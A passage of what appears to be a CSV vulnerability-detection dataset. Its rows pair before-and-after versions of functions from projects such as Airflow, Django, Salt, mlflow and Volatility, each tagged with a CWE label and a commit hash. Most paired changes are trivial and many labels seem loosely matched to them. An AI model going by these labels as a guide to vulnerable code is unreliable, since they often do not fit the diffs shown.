        print(""version tag value: {}"".format(parent_run.data.tags.get(""version"")))
        print(""priority tag value: {}"".format(parent_run.data.tags.get(""priority"")))
        print(""--"")

        # Search all child runs with a parent id
        query = f""tags.mlflow.parentRunId = '{parent_run.info.run_id}'""
        results = mlflow.search_runs(experiment_ids=[experiment_id], filter_string=query)
        print(""child runs:"")
        print(results[[""run_id"", ""params.child"", ""tags.mlflow.runName""]])

        # Create a nested run under the existing parent run
        with mlflow.start_run(
            run_name=""NEW_CHILD_RUN"",
            experiment_id=experiment_id,
            description=""new child"",
            parent_run_id=parent_run.info.run_id,
        ) as child_run:
            mlflow.log_param(""new-child"", ""yes"")

    .. code-block:: text
        :caption: Output

        parent run:
        run_id: 8979459433a24a52ab3be87a229a9cdf
        description: starting a parent for experiment 7
        version tag value: v1
        priority tag value: P1
        --
        child runs:
                                     run_id params.child tags.mlflow.runName
        0  7d175204675e40328e46d9a6a5a7ee6a          yes           CHILD_RUN
    """"""
    global _active_run_stack
    _validate_experiment_id_type(experiment_id)
    # back compat for int experiment_id
    experiment_id = str(experiment_id) if isinstance(experiment_id, int) else experiment_id
    if len(_active_run_stack) > 0 and not nested:
        raise Exception(
            (
                ""Run with UUID {} is already active. To start a new run, first end the ""
                + ""current run with mlflow.end_run(). To start a nested ""
                + ""run, call start_run with nested=True""
            ).format(_active_run_stack[0].info.run_id)
        )
    client = MlflowClient()
    if run_id:
        existing_run_id = run_id
    elif run_id := MLFLOW_RUN_ID.get():
        existing_run_id = run_id
        del os.environ[MLFLOW_RUN_ID.name]
    else:
        existing_run_id = None
    if existing_run_id:
        _validate_run_id(existing_run_id)
        active_run_obj = client.get_run(existing_run_id)
        # Check to see if experiment_id from environment matches experiment_id from set_experiment()
        if (
            _active_experiment_id is not None
            and _active_experiment_id != active_run_obj.info.experiment_id
        ):
            raise MlflowException(
                f""Cannot start run with ID {existing_run_id} because active run ID ""
                ""does not match environment run ID. Make sure --experiment-name ""
                ""or --experiment-id matches experiment set with ""
                ""set_experiment(), or just use command-line arguments""
            )
        # Check if the current run has been deleted.
        if active_run_obj.info.lifecycle_stage == LifecycleStage.DELETED:
            raise MlflowException(
                f""Cannot start run with ID {existing_run_id} because it is in the deleted state.""
            )
        # Use previous `end_time` because a value is required for `update_run_info`.
        end_time = active_run_obj.info.end_time
        _get_store().update_run_info(
            existing_run_id, run_status=RunStatus.RUNNING, end_time=end_time, run_name=None
        )
        tags = tags or {}
        if description:
            if MLFLOW_RUN_NOTE in tags:
                raise MlflowException(
                    f""Description is already set via the tag {MLFLOW_RUN_NOTE} in tags.""
                    f""Remove the key {MLFLOW_RUN_NOTE} from the tags or omit the description."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
            tags[MLFLOW_RUN_NOTE] = description

        if tags:
            client.log_batch(
                run_id=existing_run_id,
                tags=[RunTag(key, str(value)) for key, value in tags.items()],
            )
        active_run_obj = client.get_run(existing_run_id)
    else:
        if parent_run_id:
            _validate_run_id(parent_run_id)
            # Make sure parent_run_id matches the current run id, if there is an active run
            if len(_active_run_stack) > 0 and parent_run_id != _active_run_stack[-1].info.run_id:
                raise Exception(
                    (
                        ""Current run with UUID {} does not match the specified parent_run_id {}""
                        + "" To start a new nested run under the parent run with UUID {}, ""
                        + ""first end the current run with mlflow.end_run().""
                    ).format(_active_run_stack[-1].info.run_id, parent_run_id)
                )
            parent_run_obj = client.get_run(parent_run_id)
            # Check if the specified parent_run has been deleted.
            if parent_run_obj.info.lifecycle_stage == LifecycleStage.DELETED:
                raise MlflowException(
                    f""Cannot start run under parent run with ID {parent_run_id} ""
                    f""because it is in the deleted state.""
                )
        else:
            parent_run_id = (
                _active_run_stack[-1].info.run_id if len(_active_run_stack) > 0 else None
            )

        exp_id_for_run = experiment_id if experiment_id is not None else _get_experiment_id()

        user_specified_tags = deepcopy(tags) or {}
        if description:
            if MLFLOW_RUN_NOTE in user_specified_tags:
                raise MlflowException(
                    f""Description is already set via the tag {MLFLOW_RUN_NOTE} in tags.""
                    f""Remove the key {MLFLOW_RUN_NOTE} from the tags or omit the description."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
            user_specified_tags[MLFLOW_RUN_NOTE] = description
        if parent_run_id is not None:
            user_specified_tags[MLFLOW_PARENT_RUN_ID] = parent_run_id
        if run_name:
            user_specified_tags[MLFLOW_RUN_NAME] = run_name

        resolved_tags = context_registry.resolve_tags(user_specified_tags)

        active_run_obj = client.create_run(
            experiment_id=exp_id_for_run,
            tags=resolved_tags,
            run_name=run_name,
        )

    if log_system_metrics is None:
        # If `log_system_metrics` is not specified, we will check environment variable.
        log_system_metrics = MLFLOW_ENABLE_SYSTEM_METRICS_LOGGING.get()

    if log_system_metrics:
        if importlib.util.find_spec(""psutil"") is None:
            raise MlflowException(
                ""Failed to start system metrics monitoring as package `psutil` is not installed. ""
                ""Please run `pip install psutil` to resolve the issue, otherwise you can disable ""
                ""system metrics logging by passing `log_system_metrics=False` to ""
                ""`mlflow.start_run()` or calling `mlflow.disable_system_metrics_logging`.""
            )
        try:
            from mlflow.system_metrics.system_metrics_monitor import SystemMetricsMonitor

            system_monitor = SystemMetricsMonitor(
                active_run_obj.info.run_id,
                resume_logging=existing_run_id is not None,
            )
            global run_id_to_system_metrics_monitor

            run_id_to_system_metrics_monitor[active_run_obj.info.run_id] = system_monitor
            system_monitor.start()
        except Exception as e:
            _logger.error(f""Failed to start system metrics monitoring: {e}."")

    _active_run_stack.append(ActiveRun(active_run_obj))
    return _active_run_stack[-1]"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/cli/commands/remote_commands/config_command.py,0,"def lint_config(args) -> None:
    """"""
    Lint the airflow.cfg file for removed, or renamed configurations.

    This function scans the Airflow configuration file for parameters that are removed or renamed in
    Airflow 3.0. It provides suggestions for alternative parameters or  settings where applicable.
    CLI Arguments:
        --section: str (optional)
            The specific section of the configuration to lint.
            Example: --section core

        --option: str (optional)
            The specific option within a section to lint.
            Example: --option check_slas

        --ignore-section: str (optional)
            A section to ignore during linting.
            Example: --ignore-section webserver

        --ignore-option: str (optional)
            An option to ignore during linting.
            Example: --ignore-option smtp_user

        --verbose: flag (optional)
            Enables detailed output, including the list of ignored sections and options.
            Example: --verbose

    Examples:
        1. Lint all sections and options:
            airflow config lint

        2. Lint a specific sections:
            airflow config lint --section core,webserver

        3. Lint a specific sections and options:
            airflow config lint --section smtp --option smtp_user

        4. Ignore a sections:
            irflow config lint --ignore-section webserver,api

        5. Ignore an options:
            airflow config lint --ignore-option smtp_user,session_lifetime_days

        6. Enable verbose output:
            airflow config lint --verbose

    :param args: The CLI arguments for linting configurations.
    """"""
    console = AirflowConsole()
    lint_issues = []

    section_to_check_if_provided = args.section or []
    option_to_check_if_provided = args.option or []

    ignore_sections = args.ignore_section or []
    ignore_options = args.ignore_option or []

    for configuration in CONFIGS_CHANGES:
        if section_to_check_if_provided and configuration.config.section not in section_to_check_if_provided:
            continue

        if option_to_check_if_provided and configuration.config.option not in option_to_check_if_provided:
            continue

        if configuration.config.section in ignore_sections or configuration.config.option in ignore_options:
            continue

        if conf.has_option(
            configuration.config.section, configuration.config.option, lookup_from_deprecated_options=False
        ):
            lint_issues.append(configuration.message)

    if lint_issues:
        console.print(""[red]Found issues in your airflow.cfg:[/red]"")
        for issue in lint_issues:
            console.print(f""  - [yellow]{issue}[/yellow]"")
        if args.verbose:
            console.print(""\n[blue]Detailed Information:[/blue]"")
            console.print(f""Ignored sections: [green]{', '.join(ignore_sections)}[/green]"")
            console.print(f""Ignored options: [green]{', '.join(ignore_options)}[/green]"")
        console.print(""\n[red]Please update your configuration file accordingly.[/red]"")
    else:
        console.print(""[green]No issues found in your airflow.cfg. It is ready for Airflow 3![/green]"")",CWE-Unknown,apache/airflow,971973725bd368297fda8dbe096ed6b199440ad0,"def lint_config(args) -> None:
    """"""
    Lint the airflow.cfg file for removed, or renamed configurations.

    This function scans the Airflow configuration file for parameters that are removed or renamed in
    Airflow 3.0. It provides suggestions for alternative parameters or  settings where applicable.
    CLI Arguments:
        --section: str (optional)
            The specific section of the configuration to lint.
            Example: --section core

        --option: str (optional)
            The specific option within a section to lint.
            Example: --option check_slas

        --ignore-section: str (optional)
            A section to ignore during linting.
            Example: --ignore-section webserver

        --ignore-option: str (optional)
            An option to ignore during linting.
            Example: --ignore-option smtp_user

        --verbose: flag (optional)
            Enables detailed output, including the list of ignored sections and options.
            Example: --verbose

    Examples:
        1. Lint all sections and options:
            airflow config lint

        2. Lint a specific sections:
            airflow config lint --section core,webserver

        3. Lint a specific sections and options:
            airflow config lint --section smtp --option smtp_user

        4. Ignore a sections:
            irflow config lint --ignore-section webserver,api

        5. Ignore an options:
            airflow config lint --ignore-option smtp_user,session_lifetime_days

        6. Enable verbose output:
            airflow config lint --verbose

    :param args: The CLI arguments for linting configurations.
    """"""
    console = AirflowConsole()
    lint_issues = []

    section_to_check_if_provided = args.section or []
    option_to_check_if_provided = args.option or []

    ignore_sections = args.ignore_section or []
    ignore_options = args.ignore_option or []

    for configuration in CONFIGS_CHANGES:
        if section_to_check_if_provided and configuration.config.section not in section_to_check_if_provided:
            continue

        if option_to_check_if_provided and configuration.config.option not in option_to_check_if_provided:
            continue

        if configuration.config.section in ignore_sections or configuration.config.option in ignore_options:
            continue

        if conf.has_option(configuration.config.section, configuration.config.option):
            lint_issues.append(configuration.message)

    if lint_issues:
        console.print(""[red]Found issues in your airflow.cfg:[/red]"")
        for issue in lint_issues:
            console.print(f""  - [yellow]{issue}[/yellow]"")
        if args.verbose:
            console.print(""\n[blue]Detailed Information:[/blue]"")
            console.print(f""Ignored sections: [green]{', '.join(ignore_sections)}[/green]"")
            console.print(f""Ignored options: [green]{', '.join(ignore_options)}[/green]"")
        console.print(""\n[red]Please update your configuration file accordingly.[/red]"")
    else:
        console.print(""[green]No issues found in your airflow.cfg. It is ready for Airflow 3![/green]"")"
,UNKNOWN,UNKNOWN,tests/providers/hashicorp/hooks/test_vault.py,1,"def test_protocol(self, protocol, expected_url, mock_hvac, mock_get_connection):
        mock_client = mock.MagicMock()
        mock_hvac.Client.return_value = mock_client
        mock_connection = self.get_mock_connection(conn_type=protocol)
        mock_get_connection.return_value = mock_connection

        connection_dict = {}

        mock_connection.extra_dejson.get.side_effect = connection_dict.get
        kwargs = {
            ""vault_conn_id"": ""vault_conn_id"",
            ""auth_type"": ""approle"",
            ""role_id"": ""role"",
            ""kv_engine_version"": 2,
        }

        test_hook = VaultHook(**kwargs)
        mock_get_connection.assert_called_with(""vault_conn_id"")
        test_client = test_hook.get_conn()
        mock_hvac.Client.assert_called_with(url=expected_url)
        test_client.auth.approle.login.assert_called_with(role_id=""role"", secret_id=""pass"")
        test_client.is_authenticated.assert_called_with()
        assert 2 == test_hook.vault_client.kv_engine_version",CWE-703,apache/airflow,b74f796c833283c820c81b20df1ba9f9cfa485c3,"def test_protocol(self, protocol, expected_url, mock_hvac, mock_get_connection):
        mock_client = mock.MagicMock()
        mock_hvac.Client.return_value = mock_client
        mock_connection = self.get_mock_connection(conn_type=protocol)
        mock_get_connection.return_value = mock_connection

        connection_dict = {}

        mock_connection.extra_dejson.get.side_effect = connection_dict.get
        kwargs = {
            ""vault_conn_id"": ""vault_conn_id"",
            ""auth_type"": ""approle"",
            ""role_id"": ""role"",
            ""kv_engine_version"": 2,
        }

        test_hook = VaultHook(**kwargs)
        mock_get_connection.assert_called_with(""vault_conn_id"")
        test_client = test_hook.get_conn()
        mock_hvac.Client.assert_called_with(url=expected_url)
        test_client.auth_approle.assert_called_with(role_id=""role"", secret_id=""pass"")
        test_client.is_authenticated.assert_called_with()
        assert 2 == test_hook.vault_client.kv_engine_version"
,UNKNOWN,UNKNOWN,tests/model_regress/test_pickle.py,1,"def test_unpickling_when_appregistrynotready(self):
        """"""
        #24007 -- Verifies that a pickled model can be unpickled without having
        to manually setup the apps registry beforehand.
        """"""
        script_template = """"""#!/usr/bin/env python
import pickle

from django.conf import settings

data = %r

settings.configure(DEBUG=False, INSTALLED_APPS=['model_regress'], SECRET_KEY = ""blah"")
article = pickle.loads(data)
print(article.headline)""""""
        a = Article.objects.create(
            headline=""Some object"",
            pub_date=datetime.datetime.now(),
            article_text=""This is an article"",
        )

        with NamedTemporaryFile(mode='w+', suffix="".py"", dir='.') as script:
            script.write(script_template % pickle.dumps(a))
            script.flush()
            env = {
                # Needed to run test outside of tests directory
                str('PYTHONPATH'): os.pathsep.join(sys.path),
                # Needed on Windows because http://bugs.python.org/issue8557
                str('PATH'): os.environ['PATH'],
                str('LANG'): os.environ.get('LANG', ''),
            }
            if 'SYSTEMROOT' in os.environ:  # Windows http://bugs.python.org/issue20614
                env[str('SYSTEMROOT')] = os.environ['SYSTEMROOT']
            try:
                result = subprocess.check_output([sys.executable, script.name], env=env)
            except subprocess.CalledProcessError:
                self.fail(""Unable to reload model pickled data"")
        self.assertEqual(result.strip().decode(), ""Some object"")",CWE-502,django/django,ad50b6c853f4a6c864219fbd38b4254ffaef7b1c,"def test_unpickling_when_appregistrynotready(self):
        """"""
        #24007 -- Verifies that a pickled model can be unpickled without having
        to manually setup the apps registry beforehand.
        """"""
        script_template = """"""#!/usr/bin/env python
import pickle

from django.conf import settings

data = %r

settings.configure(DEBUG=False, INSTALLED_APPS=['model_regress'], SECRET_KEY = ""blah"")
article = pickle.loads(data)
print(article.headline)""""""
        a = Article.objects.create(
            headline=""Some object"",
            pub_date=datetime.datetime.now(),
            article_text=""This is an article"",
        )

        with NamedTemporaryFile(mode='w+', suffix="".py"", dir='.') as script:
            script.write(script_template % pickle.dumps(a))
            script.flush()
            env = {
                # Needed to run test outside of tests directory
                str('PYTHONPATH'): os.pathsep.join(sys.path),
                # Needed on Windows because http://bugs.python.org/issue8557
                str('PATH'): os.environ['PATH'],
                str('LANG'): os.environ.get('LANG'),
            }
            if 'SYSTEMROOT' in os.environ:  # Windows http://bugs.python.org/issue20614
                env[str('SYSTEMROOT')] = os.environ['SYSTEMROOT']
            try:
                result = subprocess.check_output([sys.executable, script.name], env=env)
            except subprocess.CalledProcessError:
                self.fail(""Unable to reload model pickled data"")
        self.assertEqual(result.strip().decode(), ""Some object"")"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_connections.py,1,"def test_should_respond_200(
        self, test_client, session, query_params, expected_total_entries, expected_ids
    ):
        self.create_connections()
        response = test_client.get(""/public/connections"", params=query_params)
        assert response.status_code == 200

        body = response.json()
        assert body[""total_entries""] == expected_total_entries
        assert [connection[""connection_id""] for connection in body[""connections""]] == expected_ids",CWE-703,apache/airflow,cba9f7a22ecae0fc65e2d6726e2e0ca9d02de168,"def test_should_respond_200(
        self, test_client, session, query_params, expected_total_entries, expected_ids
    ):
        self.create_connections()
        response = test_client.get(""/public/connections/"", params=query_params)
        assert response.status_code == 200

        body = response.json()
        assert body[""total_entries""] == expected_total_entries
        assert [connection[""connection_id""] for connection in body[""connections""]] == expected_ids"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/http.py,0,"def query(url, **kwargs):
    '''
    .. versionadded:: 2015.5.0

    Query a resource, and decode the return data

    Passes through all the parameters described in the
    :py:func:`utils.http.query function <salt.utils.http.query>`:

    .. autofunction:: salt.utils.http.query

    raise_error : True
        If ``False``, and if a connection cannot be made, the error will be
        suppressed and the body of the return will simply be ``None``.

    CLI Example:

    .. code-block:: bash

        salt '*' http.query http://somelink.com/
        salt '*' http.query http://somelink.com/ method=POST \
            params='key1=val1&key2=val2'
        salt '*' http.query http://somelink.com/ method=POST \
            data='<xml>somecontent</xml>'
    '''
    opts = __opts__.copy()
    if 'opts' in kwargs:
        opts.update(kwargs['opts'])
        del kwargs['opts']

    try:
        return salt.utils.http.query(url=url, opts=opts, **kwargs)
    except Exception as exc:  # pylint: disable=broad-except
        raise CommandExecutionError(six.text_type(exc))",,saltstack/salt,3ad69c8fabe76e45426950c99b6e43b28340f2f9,"def query(url, **kwargs):
    '''
    .. versionadded:: 2015.5.0

    Query a resource, and decode the return data

    Passes through all the parameters described in the
    :py:func:`utils.http.query function <salt.utils.http.query>`:

    .. autofunction:: salt.utils.http.query

    raise_error : True
        If ``False``, and if a connection cannot be made, the error will be
        suppressed and the body of the return will simply be ``None``.

    CLI Example:

    .. code-block:: bash

        salt '*' http.query http://somelink.com/
        salt '*' http.query http://somelink.com/ method=POST \
            params='key1=val1&key2=val2'
        salt '*' http.query http://somelink.com/ method=POST \
            data='<xml>somecontent</xml>'
    '''
    opts = __opts__.copy()
    if 'opts' in kwargs:
        opts.update(kwargs['opts'])
        del kwargs['opts']

    try:
        return salt.utils.http.query(url=url, opts=opts, **kwargs)
    except Exception as exc:
        raise CommandExecutionError(six.text_type(exc))"
,UNKNOWN,UNKNOWN,tests/decorators/test_setup_teardown.py,1,"def test_marking_decorated_functions_as_setup_task(self, dag_maker):
        @setup
        @task
        def mytask():
            print(""I am a setup task"")

        with dag_maker() as dag:
            mytask()

        assert len(dag.task_group.children) == 1
        setup_task = dag.task_group.children[""mytask""]
        assert setup_task._is_setup",CWE-703,apache/airflow,3720689e38276d47ab9fe764c5c034c35dcaaf01,"def test_marking_decorated_functions_as_setup_task(self, dag_maker):
        @setup
        @task
        def mytask():
            print(""I am a setup task"")

        with dag_maker() as dag:
            mytask()

        assert len(dag.task_group.children) == 1
        setup_task = dag.task_group.children[""mytask""]
        assert setup_task._is_setup"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/data/search_engines/pks.py,0,"def search(self, hostname):
        '''
        Searches a PKS server, and returns all emails related to hostname.

        @param hostname: The hostname from which we want to get emails from.
        '''
        if hostname.count('//'):
            msg = 'You must provide the PKS search engine with a root domain'\
                  ' name (as returned by URL.get_root_domain).'
            raise w3afException(msg)

        res = self.met_search(hostname)
        msg = 'PKS search for hostname: ""%s"" returned %s results.'
        om.out.debug(msg % (hostname, len(res)))
        return res",,andresriancho/w3af,5ea23ef41574a40fe2241377fd74ca4ce76ee709,"def search(self, hostname):
        '''
        Searches a PKS server, and returns all emails related to hostname.

        @param hostname: The hostname from which we want to get emails from.
        '''
        if hostname.count('//'):
            msg = 'You must provide the PKS search engine with a root domain'
            msg += ' name (as returned by URL.get_root_domain).'
            raise w3afException(msg)

        res = self.met_search(hostname)
        msg = 'PKS search for hostname: ""%s"" returned %s results.'
        om.out.debug(msg % (hostname, len(res)))
        return res"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,setup.py,0,"def do_setup():
    write_version()
    setup(
        name='apache-airflow',
        description='Programmatically author, schedule and monitor data pipelines',
        long_description=long_description,
        long_description_content_type='text/markdown',
        license='Apache License 2.0',
        version=version,
        packages=find_packages(exclude=['tests*']),
        package_data={'': ['airflow/alembic.ini', ""airflow/git_version""]},
        include_package_data=True,
        zip_safe=False,
        scripts=['airflow/bin/airflow'],
        install_requires=[
            'alembic>=0.9, <1.0',
            'bleach~=2.1.3',
            'configparser>=3.5.0, <3.6.0',
            'croniter>=0.3.17, <0.4',
            'dill>=0.2.2, <0.3',
            'enum34~=1.1.6;python_version<""3.4""',
            'flask>=1.0, <2.0',
            'flask-appbuilder==1.12.3',
            'flask-caching>=1.3.3, <1.4.0',
            'flask-login>=0.3, <0.5',
            'flask-swagger==0.2.13',
            'flask-wtf>=0.14.2, <0.15',
            'funcsigs==1.0.0',
            'future>=0.16.0, <0.17',
            'gitpython>=2.0.2',
            'gunicorn>=19.5.0, <20.0',
            'iso8601>=0.1.12',
            'json-merge-patch==0.2',
            'jinja2>=2.7.3, <=2.10.0',
            'markdown>=2.5.2, <3.0',
            'pandas>=0.17.1, <1.0.0',
            'pendulum==1.4.4',
            'psutil>=4.2.0, <6.0.0',
            'pygments>=2.0.1, <3.0',
            'python-daemon>=2.1.1, <2.2',
            'python-dateutil>=2.3, <3',
            'requests>=2.20.0, <3',
            'setproctitle>=1.1.8, <2',
            'sqlalchemy>=1.1.15, <1.3.0',
            'tabulate>=0.7.5, <=0.8.2',
            'tenacity==4.12.0',
            'text-unidecode==1.2',
            'thrift>=0.9.2',
            'tzlocal>=1.4',
            'unicodecsv>=0.14.1',
            'werkzeug>=0.14.1, <0.15.0',
            'zope.deprecation>=4.0, <5.0',
        ],
        setup_requires=[
            'docutils>=0.14, <1.0',
        ],
        extras_require={
            'all': devel_all,
            'devel_ci': devel_ci,
            'all_dbs': all_dbs,
            'atlas': atlas,
            'async': async_packages,
            'aws': aws,
            'azure': azure,
            'cassandra': cassandra,
            'celery': celery,
            'cgroups': cgroups,
            'cloudant': cloudant,
            'crypto': crypto,
            'dask': dask,
            'databricks': databricks,
            'datadog': datadog,
            'devel': devel_minreq,
            'devel_hadoop': devel_hadoop,
            'doc': doc,
            'docker': docker,
            'druid': druid,
            'elasticsearch': elasticsearch,
            'gcp': gcp,
            'gcp_api': gcp,  # TODO: remove this in Airflow 2.1
            'github_enterprise': github_enterprise,
            'google_auth': google_auth,
            'hdfs': hdfs,
            'hive': hive,
            'jdbc': jdbc,
            'jira': jira,
            'kerberos': kerberos,
            'kubernetes': kubernetes,
            'ldap': ldap,
            'mongo': mongo,
            'mssql': mssql,
            'mysql': mysql,
            'oracle': oracle,
            'password': password,
            'pinot': pinot,
            'postgres': postgres,
            'qds': qds,
            'rabbitmq': rabbitmq,
            'redis': redis,
            'salesforce': salesforce,
            'samba': samba,
            'sendgrid': sendgrid,
            'segment': segment,
            'slack': slack,
            'snowflake': snowflake,
            'ssh': ssh,
            'statsd': statsd,
            'vertica': vertica,
            'webhdfs': webhdfs,
            'winrm': winrm
        },
        classifiers=[
            'Development Status :: 5 - Production/Stable',
            'Environment :: Console',
            'Environment :: Web Environment',
            'Intended Audience :: Developers',
            'Intended Audience :: System Administrators',
            'License :: OSI Approved :: Apache Software License',
            'Programming Language :: Python :: 2.7',
            'Programming Language :: Python :: 3.5',
            'Topic :: System :: Monitoring',
        ],
        author='Apache Software Foundation',
        author_email='dev@airflow.apache.org',
        url='http://airflow.apache.org/',
        download_url=(
            'https://dist.apache.org/repos/dist/release/airflow/' + version),
        cmdclass={
            'test': Tox,
            'extra_clean': CleanCommand,
            'compile_assets': CompileAssets
        },
        python_requires='>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*',
    )",CWE-Unknown,apache/airflow,71140dd2dfb63f16254420b8ba3a4a62b5919f45,"def do_setup():
    write_version()
    setup(
        name='apache-airflow',
        description='Programmatically author, schedule and monitor data pipelines',
        long_description=long_description,
        long_description_content_type='text/markdown',
        license='Apache License 2.0',
        version=version,
        packages=find_packages(exclude=['tests*']),
        package_data={'': ['airflow/alembic.ini', ""airflow/git_version""]},
        include_package_data=True,
        zip_safe=False,
        scripts=['airflow/bin/airflow'],
        install_requires=[
            'alembic>=0.9, <1.0',
            'bleach~=2.1.3',
            'configparser>=3.5.0, <3.6.0',
            'croniter>=0.3.17, <0.4',
            'dill>=0.2.2, <0.3',
            'enum34~=1.1.6;python_version<""3.4""',
            'flask>=1.0, <2.0',
            'flask-appbuilder==1.12.3',
            'flask-caching>=1.3.3, <1.4.0',
            'flask-login>=0.3, <0.5',
            'flask-swagger==0.2.13',
            'flask-wtf>=0.14.2, <0.15',
            'funcsigs==1.0.0',
            'future>=0.16.0, <0.17',
            'gitpython>=2.0.2',
            'gunicorn>=19.4.0, <20.0',
            'iso8601>=0.1.12',
            'json-merge-patch==0.2',
            'jinja2>=2.7.3, <=2.10.0',
            'markdown>=2.5.2, <3.0',
            'pandas>=0.17.1, <1.0.0',
            'pendulum==1.4.4',
            'psutil>=4.2.0, <6.0.0',
            'pygments>=2.0.1, <3.0',
            'python-daemon>=2.1.1, <2.2',
            'python-dateutil>=2.3, <3',
            'requests>=2.20.0, <3',
            'setproctitle>=1.1.8, <2',
            'sqlalchemy>=1.1.15, <1.3.0',
            'tabulate>=0.7.5, <=0.8.2',
            'tenacity==4.12.0',
            'text-unidecode==1.2',
            'thrift>=0.9.2',
            'tzlocal>=1.4',
            'unicodecsv>=0.14.1',
            'werkzeug>=0.14.1, <0.15.0',
            'zope.deprecation>=4.0, <5.0',
        ],
        setup_requires=[
            'docutils>=0.14, <1.0',
        ],
        extras_require={
            'all': devel_all,
            'devel_ci': devel_ci,
            'all_dbs': all_dbs,
            'atlas': atlas,
            'async': async_packages,
            'aws': aws,
            'azure': azure,
            'cassandra': cassandra,
            'celery': celery,
            'cgroups': cgroups,
            'cloudant': cloudant,
            'crypto': crypto,
            'dask': dask,
            'databricks': databricks,
            'datadog': datadog,
            'devel': devel_minreq,
            'devel_hadoop': devel_hadoop,
            'doc': doc,
            'docker': docker,
            'druid': druid,
            'elasticsearch': elasticsearch,
            'gcp': gcp,
            'gcp_api': gcp,  # TODO: remove this in Airflow 2.1
            'github_enterprise': github_enterprise,
            'google_auth': google_auth,
            'hdfs': hdfs,
            'hive': hive,
            'jdbc': jdbc,
            'jira': jira,
            'kerberos': kerberos,
            'kubernetes': kubernetes,
            'ldap': ldap,
            'mongo': mongo,
            'mssql': mssql,
            'mysql': mysql,
            'oracle': oracle,
            'password': password,
            'pinot': pinot,
            'postgres': postgres,
            'qds': qds,
            'rabbitmq': rabbitmq,
            'redis': redis,
            'salesforce': salesforce,
            'samba': samba,
            'sendgrid': sendgrid,
            'segment': segment,
            'slack': slack,
            'snowflake': snowflake,
            'ssh': ssh,
            'statsd': statsd,
            'vertica': vertica,
            'webhdfs': webhdfs,
            'winrm': winrm
        },
        classifiers=[
            'Development Status :: 5 - Production/Stable',
            'Environment :: Console',
            'Environment :: Web Environment',
            'Intended Audience :: Developers',
            'Intended Audience :: System Administrators',
            'License :: OSI Approved :: Apache Software License',
            'Programming Language :: Python :: 2.7',
            'Programming Language :: Python :: 3.5',
            'Topic :: System :: Monitoring',
        ],
        author='Apache Software Foundation',
        author_email='dev@airflow.apache.org',
        url='http://airflow.apache.org/',
        download_url=(
            'https://dist.apache.org/repos/dist/release/airflow/' + version),
        cmdclass={
            'test': Tox,
            'extra_clean': CleanCommand,
            'compile_assets': CompileAssets
        },
        python_requires='>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*',
    )"
,UNKNOWN,UNKNOWN,tests/integration/client/standard.py,1,"def test_cli(self):
        '''
        Test cli function
        '''
        cmd_iter = self.client.cmd_cli(
                'minion',
                'test.ping',
                )
        for ret in cmd_iter:
            self.assertTrue(ret['minion'])

        # make sure that the iter waits for long running jobs too
        cmd_iter = self.client.cmd_cli(
                'minion',
                'test.sleep',
                [6]
                )
        num_ret = 0
        for ret in cmd_iter:
            num_ret += 1
            self.assertTrue(ret['minion'])
        assert num_ret > 0

        # ping a minion that doesn't exist, to make sure that it doesn't hang forever
        # create fake minion
        key_file = os.path.join(self.master_opts['pki_dir'], 'minions', 'footest')
        # touch the file
        with salt.utils.fopen(key_file, 'a'):
            pass
        # ping that minion and ensure it times out
        try:
            cmd_iter = self.client.cmd_cli(
                    'footest',
                    'test.ping',
                    )
            num_ret = 0
            for ret in cmd_iter:
                num_ret += 1
                self.assertTrue(ret['minion'])
            assert num_ret == 0
        finally:
            os.unlink(key_file)",CWE-703,saltstack/salt,a375dd7e1fd42fe9dfa110c143cdd9fed077e3f8,"def test_cli(self):
        '''
        Test cli function
        '''
        cmd_iter = self.client.cmd_cli(
                'minion',
                'test.ping',
                )
        for ret in cmd_iter:
            self.assertTrue(ret['minion'])

        # make sure that the iter waits for long running jobs too
        cmd_iter = self.client.cmd_cli(
                'minion',
                'test.sleep',
                [6]
                )
        num_ret = 0
        for ret in cmd_iter:
            num_ret += 1
            self.assertTrue(ret['minion'])
        assert num_ret > 0

        # ping a minion that doesn't exist, to make sure that it doesn't hang forever
        # create fake minion
        key_file = os.path.join(self.master_opts['pki_dir'], 'minions', 'footest')
        # touch the file
        salt.utils.fopen(key_file, 'a').close()
        # ping that minion and ensure it times out
        try:
            cmd_iter = self.client.cmd_cli(
                    'footest',
                    'test.ping',
                    )
            num_ret = 0
            for ret in cmd_iter:
                num_ret += 1
                self.assertTrue(ret['minion'])
            assert num_ret == 0
        finally:
            os.unlink(key_file)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/notebooks/handlers.py,0,"def delete(self, notebook_path):
        nbm = self.notebook_manager
        name, path = nbm.named_notebook_path(notebook_path)
        nbm.delete_notebook(name, path)
        self.set_status(204)
        self.finish()",,jupyter/notebook,11cef9ab45e0231214a81574362dd58b016a6ee4,"def delete(self, notebook_path):
        nbm = self.notebook_manager
        name, path = nbm.named_notebook_path(notebook_path)
        self.notebook_manager.delete_notebook(name, path)
        self.set_status(204)
        self.finish()"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/trustedbsd.py,0,"def calculate(self):
        common.set_plugin_members(self)

        # get all the members of 'mac_policy_ops' so that we can check them (they are all function ptrs)
        ops_members = self.get_members()

        # get the symbols need to check for if rootkit or not
        (kernel_symbol_addresses, kmods) = common.get_kernel_addrs(self)

        list_addr = self.addr_space.profile.get_symbol(""_mac_policy_list"")
    
        plist = obj.Object(""mac_policy_list"", offset = list_addr, vm = self.addr_space)
        parray = obj.Object('Array', offset = plist.entries, vm = self.addr_space, targetType = 'mac_policy_list_element', count = plist.maxindex + 1)

        for ent in parray:
            # I don't know how this can happen, but the kernel makes this check all over the place
            # the policy is useful without any ops so a rootkit can't abuse this
            if ent.mpc == None:
                continue

            name = ent.mpc.mpc_name.dereference()

            ops = obj.Object(""mac_policy_ops"", offset = ent.mpc.mpc_ops, vm = self.addr_space)

            # walk each member of the struct
            for check in ops_members:
                ptr = ops.__getattr__(check)
               
                if ptr != 0:
                    good = common.is_known_address(ptr, kernel_symbol_addresses, kmods) 

